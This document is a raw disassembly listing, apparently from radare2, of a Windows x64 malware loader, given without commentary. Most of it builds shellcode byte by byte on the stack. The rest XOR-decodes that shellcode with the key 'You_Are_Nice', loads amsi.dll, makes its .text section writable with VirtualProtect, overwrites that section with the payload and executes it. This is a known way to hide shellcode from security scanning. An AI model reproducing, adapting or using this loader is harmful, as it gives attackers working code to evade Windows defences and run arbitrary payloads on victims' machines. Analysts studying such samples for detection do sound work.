mov word [rbp + 0xe30], 0x38c1
mov byte [rbp + 0xe32], 0xe0
mov word [rbp + 0xe40], 0x410d
mov byte [rbp + 0xe42], 1
mov word [rbp + 0xe50], 0xc141
mov byte [rbp + 0xe52], 0xc9
mov word [rbp + 0xe60], 0xc031
mov byte [rbp + 0xe62], 0xac
mov word [rbp + 0xe70], 0xc931
mov byte [rbp + 0xe72], 0x48
mov byte [rbp + 0xe77], al
lea rax, [rbp + 0xe60]
mov qword [rbp + 0xe78], rax
xor eax, eax
mov dword [rbp + 0xe83], eax
mov byte [rbp + 0xe87], al
lea rax, [rbp + 0xe70]
mov qword [rbp + 0xe88], rax
xor eax, eax
mov dword [rbp + 0xe93], eax
mov byte [rbp + 0xe97], al
lea rax, [rbp + 0xe80]
mov qword [rbp + 0xe98], rax
xor eax, eax
mov dword [rbp + 0xea3], eax
mov byte [rbp + 0xea7], al
lea rax, [rbp + 0xe90]
mov qword [rbp + 0xea8], rax
xor eax, eax
mov dword [rbp + 0xeb3], eax
mov byte [rbp + 0xeb7], al
lea rax, [rbp + 0xea0]
mov qword [rbp + 0xeb8], rax
xor eax, eax
mov dword [rbp + 0xec3], eax
mov byte [rbp + 0xec7], al
lea rax, [rbp + 0xeb0]
mov qword [rbp + 0xec8], rax
xor eax, eax
mov dword [rbp + 0xed3], eax
mov byte [rbp + 0xed7], al
lea rax, [rbp + 0xec0]
mov qword [rbp + 0xed8], rax
xor eax, eax
mov dword [rbp + 0xee3], eax
mov byte [rbp + 0xee7], al
lea rax, [rbp + 0xed0]
mov qword [rbp + 0xee8], rax
xor eax, eax
mov dword [rbp + 0xef3], eax
mov byte [rbp + 0xef7], al
lea rax, [rbp + 0xee0]
mov qword [rbp + 0xef8], rax
xor eax, eax
mov dword [rbp + 0xf03], eax
mov byte [rbp + 0xf07], al
lea rax, [rbp + 0xef0]
mov qword [rbp + 0xf08], rax
xor eax, eax
mov dword [rbp + 0xf13], eax
mov byte [rbp + 0xf17], al
lea rax, [rbp + 0xf00]
mov qword [rbp + 0xf18], rax
xor eax, eax
mov dword [rbp + 0xf23], eax
mov byte [rbp + 0xf27], al
lea rax, [rbp + 0xf10]
mov qword [rbp + 0xf28], rax
mov word [rbp + 0xe80], 0xd601
mov byte [rbp + 0xe82], 0x4d
mov word [rbp + 0xe90], 0x8834
mov byte [rbp + 0xe92], 0x48
mov word [rbp + 0xea0], 0x41c9
mov byte [rbp + 0xea2], 0x8b
mov word [rbp + 0xeb0], 0x4856
mov byte [rbp + 0xeb2], 0xff
mov word [rbp + 0xec0], 0xd001
mov byte [rbp + 0xec2], 0xe3
mov word [rbp + 0xed0], 0x2040
mov byte [rbp + 0xed2], 0x49
mov word [rbp + 0xee0], 0x4418
mov byte [rbp + 0xee2], 0x8b
mov word [rbp + 0xef0], 0x8b50
mov byte [rbp + 0xef2], 0x48
mov word [rbp + 0xf00], 0x148
mov byte [rbp + 0xf02], 0xd0
mov word [rbp + 0xf10], 0x74c0
mov byte [rbp + 0xf12], 0x67
mov word [rbp + 0xf20], 0x4800
mov byte [rbp + 0xf22], 0x85
mov word [rbp + 0xf30], 0x88
xor eax, eax
mov byte [rbp + 0xf32], r12b
mov dword [rbp + 0xf33], eax
mov byte [rbp + 0xf37], al
lea rax, [rbp + 0xf20]
mov qword [rbp + 0xf38], rax
xor eax, eax
mov dword [rbp + 0xf43], eax
mov byte [rbp + 0xf47], al
lea rax, [rbp + 0xf30]
mov qword [rbp + 0xf48], rax
xor eax, eax
mov dword [rbp + 0xf53], eax
mov byte [rbp + 0xf57], al
lea rax, [rbp + 0xf40]
mov qword [rbp + 0xf58], rax
xor eax, eax
mov dword [rbp + 0xf63], eax
mov byte [rbp + 0xf67], al
lea rax, [rbp + 0xf50]
mov qword [rbp + 0xf68], rax
xor eax, eax
mov dword [rbp + 0xf73], eax
mov byte [rbp + 0xf77], al
lea rax, [rbp + 0xf60]
mov qword [rbp + 0xf78], rax
xor eax, eax
mov dword [rbp + 0xf83], eax
mov byte [rbp + 0xf87], al
lea rax, [rbp + 0xf70]
mov qword [rbp + 0xf88], rax
xor eax, eax
mov dword [rbp + 0xf93], eax
mov byte [rbp + 0xf97], al
lea rax, [rbp + 0xf80]
mov qword [rbp + 0xf98], rax
xor eax, eax
mov dword [rbp + 0xfa3], eax
mov byte [rbp + 0xfa7], al
lea rax, [rbp + 0xf90]
mov qword [rbp + 0xfa8], rax
xor eax, eax
mov dword [rbp + 0xfb3], eax
mov byte [rbp + 0xfb7], al
lea rax, [rbp + 0xfa0]
mov qword [rbp + 0xfb8], rax
xor eax, eax
mov dword [rbp + 0xfc3], eax
mov byte [rbp + 0xfc7], al
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0xfc8], rax
xor eax, eax
mov dword [rbp + 0xfd3], eax
mov byte [rbp + 0xfd7], al
lea rax, [rbp + 0xfc0]
mov qword [rbp + 0xfd8], rax
xor eax, eax
mov dword [rbp + 0xfe3], eax
mov byte [rbp + 0xfe7], al
mov word [rbp + 0xf40], 0x8b72
mov byte [rbp + 0xf42], 0x80
mov word [rbp + 0xf50], 0x20b
mov byte [rbp + 0xf52], 0x75
mov word [rbp + 0xf60], 0x7881
mov byte [rbp + 0xf62], 0x18
mov word [rbp + 0xf70], 0xd001
mov byte [rbp + 0xf72], 0x66
mov word [rbp + 0xf80], 0x3c42
mov byte [rbp + 0xf82], 0x48
mov word [rbp + 0xf90], 0x2052
mov byte [rbp + 0xf92], 0x8b
mov word [rbp + 0xfa0], 0x4851
mov byte [rbp + 0xfa2], 0x8b
mov word [rbp + 0xfb0], 0x52ed
mov byte [rbp + 0xfb2], 0x41
mov word [rbp + 0xfc0], 0xc101
mov byte [rbp + 0xfc2], 0xe2
mov word [rbp + 0xfd0], 0xdc9
mov byte [rbp + 0xfd2], 0x41
mov word [rbp + 0xfe0], 0x4120
mov byte [rbp + 0xfe2], 0xc1
lea rax, [rbp + 0xfd0]
mov word [rbp + 0xff0], 0x27c
mov qword [rbp + 0xfe8], rax
xor eax, eax
mov dword [rbp + 0xff3], eax
mov byte [rbp + 0xff7], al
lea rax, [rbp + 0xfe0]
mov qword [rbp + 0xff8], rax
xor eax, eax
mov dword [rbp + 0x1003], eax
mov byte [rbp + 0x1007], al
lea rax, [rbp + 0xff0]
mov qword [rbp + 0x1008], rax
xor eax, eax
mov dword [rbp + 0x1013], eax
mov byte [rbp + 0x1017], al
lea rax, [rbp + 0x1000]
mov qword [rbp + 0x1018], rax
xor eax, eax
mov dword [rbp + 0x1023], eax
mov byte [rbp + 0x1027], al
lea rax, [rbp + 0x1010]
mov qword [rbp + 0x1028], rax
xor eax, eax
mov dword [rbp + 0x1033], eax
mov byte [rbp + 0x1037], al
lea rax, [rbp + 0x1020]
mov qword [rbp + 0x1038], rax
xor eax, eax
mov dword [rbp + 0x1043], eax
mov byte [rbp + 0x1047], al
lea rax, [rbp + 0x1030]
mov qword [rbp + 0x1048], rax
xor eax, eax
mov dword [rbp + 0x1053], eax
mov byte [rbp + 0x1057], al
lea rax, [rbp + 0x1040]
mov qword [rbp + 0x1058], rax
xor eax, eax
mov dword [rbp + 0x1063], eax
mov byte [rbp + 0x1067], al
lea rax, [rbp + 0x1050]
mov qword [rbp + 0x1068], rax
xor eax, eax
mov dword [rbp + 0x1073], eax
mov byte [rbp + 0x1077], al
lea rax, [rbp + 0x1060]
mov qword [rbp + 0x1078], rax
xor eax, eax
mov dword [rbp + 0x1083], eax
mov byte [rbp + 0x1087], al
lea rax, [rbp + 0x1070]
mov qword [rbp + 0x1088], rax
xor eax, eax
mov dword [rbp + 0x1093], eax
mov byte [rbp + 0x1097], al
lea rax, [rbp + 0x1080]
mov qword [rbp + 0x1098], rax
mov byte [rbp + 0xff2], 0x2c
mov word [rbp + 0x1000], 0x3cac
mov byte [rbp + 0x1002], 0x61
mov word [rbp + 0x1010], 0x3148
mov byte [rbp + 0x1012], 0xc0
mov word [rbp + 0x1020], 0x314d
mov byte [rbp + 0x1022], 0xc9
mov word [rbp + 0x1030], 0x4ab7
mov byte [rbp + 0x1032], 0x4a
mov word [rbp + 0x1040], 0x4850
mov byte [rbp + 0x1042], 0xf
mov word [rbp + 0x1050], 0x8b48
mov byte [rbp + 0x1052], 0x72
mov word [rbp + 0x1060], 0x528b
mov byte [rbp + 0x1062], 0x20
mov word [rbp + 0x1070], 0x1852
mov byte [rbp + 0x1072], 0x48
mov word [rbp + 0x1080], 0x4860
mov byte [rbp + 0x1082], 0x8b
mov word [rbp + 0x1090], 0x8b48
mov byte [rbp + 0x1092], 0x52
mov word [rbp + 0x10a0], 0xd231
mov byte [rbp + 0x10a2], 0x65
xor eax, eax
mov word [rbp + 0x10b0], 0x5651
mov dword [rbp + 0x10a3], eax
mov r13d, r12d
mov byte [rbp + 0x10a7], al
lea rax, [rbp + 0x1090]
mov qword [rbp + 0x10a8], rax
xor eax, eax
mov dword [rbp + 0x10b3], eax
mov byte [rbp + 0x10b7], al
lea rax, [rbp + 0x10a0]
mov qword [rbp + 0x10b8], rax
xor eax, eax
mov dword [rbp + 0x10c3], eax
mov byte [rbp + 0x10c7], al
lea rax, [rbp + 0x10b0]
mov qword [rbp + 0x10c8], rax
xor eax, eax
mov dword [rbp + 0x10d3], eax
mov byte [rbp + 0x10d7], al
lea rax, [rbp + 0x10c0]
mov qword [rbp + 0x10d8], rax
xor eax, eax
mov dword [rbp + 0x10e3], eax
mov byte [rbp + 0x10e7], al
lea rax, [rbp + 0x10d0]
mov qword [rbp + 0x10e8], rax
xor eax, eax
mov dword [rbp + 0x3c3], eax
mov byte [rbp + 0x3c7], al
lea rax, [rbp + 0x10e0]
mov qword [rbp + 0x3c8], rax
xor eax, eax
mov dword [rsp + 0x23], eax
mov byte [rsp + 0x27], al
lea rax, [rbp + 0x3c0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x20]
mov byte [rbp + 0x10b2], 0x48
mov word [rbp + 0x10c0], 0x5041
mov byte [rbp + 0x10c2], 0x52
mov word [rbp + 0x10d0], 0x4100
mov byte [rbp + 0x10d2], 0x51
mov word [rbp + 0x10e0], 0xad
mov byte [rbp + 0x10e2], r12b
mov word [rbp + 0x3c0], 0xb1c4
mov byte [rbp + 0x3c2], 0x9a
mov word [rsp + 0x20], 0x27a5
mov byte [rsp + 0x22], 0xf6
mov rax, qword [rax + 8]
add r13d, 3
test rax, rax
jne 0x140004231
mov ecx, r13d
mov rax, 0xffffffffffffffff
add ecx, 1
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
jne 0x140004262
mov r14, r12
jmp 0x1400042ac
lea r15, [rsp + 0x20]
mov rdi, r12
nop word [rax + rax]
mov rbx, r15
mov esi, 3
nop dword [rax + rax]
movzx eax, byte [rbx]
lea rcx, str.x_02x
mov byte [rdi + r14], al
inc rdi
movzx edx, byte [rbx]
call fcn.140001010
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x140004280
mov r15, qword [r15 + 8]
test r15, r15
jne 0x140004270
mov eax, dword [0x140006280]
lea r8, [rsp + 0x20]
movsd xmm0, qword [str.You_Are_Nice]
mov rcx, r14
movsd qword [rsp + 0x20], xmm0
movzx edx, byte [rsp + 0x20]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x140006284]
xor byte [r14], dl
mov byte [rsp + 0x2c], al
je 0x14000430a
test dl, dl
jne 0x1400042ec
lea r8, [rsp + 0x20]
jmp 0x1400042ef
inc r8
test dl, dl
lea rax, [rcx + 1]
cmovne rcx, rax
movzx eax, byte [rcx]
test al, al
je 0x14000430a
movzx edx, byte [r8]
xor al, dl
mov byte [rcx], al
jne 0x1400042e1
movsxd rsi, r13d
test r13d, r13d
jle 0x140004339
mov rbx, r12
nop word [rax + rax]
movzx edx, byte [rbx + r14]
lea rcx, str.x_02x
call fcn.140001010
inc rbx
cmp rbx, rsi
jl 0x140004320
lea rcx, str.amsi.dll
mov dword [rbp + 0x11c0], r12d
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
movsxd rbx, dword [rax + 0x3c]
add rbx, rax
nop word [rax + rax]
movzx edx, word [rbx + 0x14]
movsxd rcx, r12d
add rdx, rbx
inc r12d
lea r8, [rcx + rcx*4]
lea rdi, [rdx + r8*8]
mov r8d, 5
lea rcx, [rdi + 0x18]
lea rdx, str..text
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140004360
mov ebx, dword [rdi + 0x24]
lea r9, [rbp + 0x11c0]
add rbx, r15
lea r8d, [rax + 4]
mov rcx, rbx
mov edx, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8d, dword [rbp + 0x11c0]
lea r9, [rbp + 0x11c0]
mov edx, 0x1000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbx
xor eax, eax
mov rcx, qword [rbp + 0x11c8]
xor rcx, rsp
call fcn.140004420
lea r11, [rsp + 0x12d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret